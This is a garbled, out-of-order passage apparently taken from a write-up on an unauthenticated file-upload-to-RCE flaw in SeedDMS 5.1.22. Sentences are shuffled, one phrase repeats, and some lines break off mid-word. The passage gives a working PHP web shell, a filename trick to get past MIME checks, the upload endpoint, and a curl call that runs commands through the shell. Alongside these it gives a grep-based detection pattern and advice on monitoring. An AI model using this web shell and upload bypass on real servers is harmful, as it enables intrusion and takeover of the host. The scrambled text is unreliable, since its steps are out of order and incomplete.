http://192.168.1.100/seeddms51/data/1000/1/1/evil.php (Cycle 1000 , 1001 , etc.)
curl "http://192.168.1.100/seeddms51/data/1000/1/1/evil.php?cmd=id" Output: uid=33(www-data) gid=33(www-data) ... seeddms 5.1.22 exploit
find /var/www/seeddms/data -type f -size -10k -exec grep -l "eval\|system\|base64_decode" {} \; Monitor for GET requests from the SeedDMS server to unusual external IPs (C2 callbacks) or DNS lookups for suspicious domains. Conclusion The SeedDMS 5.1.22 exploit serves as a textbook case of how a missing authentication check, combined with a weak file upload filter, can lead to a full system compromise. The attack surface is small, the request is simple, and the payoff (RCE) is total. http://192
curl -s http://192.168.1.100/seeddms51/out/out.Version.php | grep "Version" Expected output includes 5.1.22 . Create a minimal PHP web shell (e.g., evil.php ): The attack surface is small, the request is
Introduction SeedDMS (formerly LetoDMS) is a popular, open-source document management system known for its simplicity and effectiveness in small to medium-sized enterprises. However, as with any web application, version-specific vulnerabilities can turn this asset into a liability.
Version (and several adjacent builds) contained a critical, chained exploit pathway: Unauthenticated Arbitrary File Upload leading to Remote Code Execution (RCE) . While older reports discussed XSS or low-privilege SQLi, the 5.1.22 flaw—tracked unofficially as "addfile.php unrestricted upload"—represents a near-total compromise vector.
<?php system($_GET['cmd']); ?> Rename or embed as needed. To bypass weak MIME checks, set the filename to evil.php.jpg —but the system may still save it as .php depending on the upload routine. Send a POST request to /op/op.AddFile.php with forged parameters.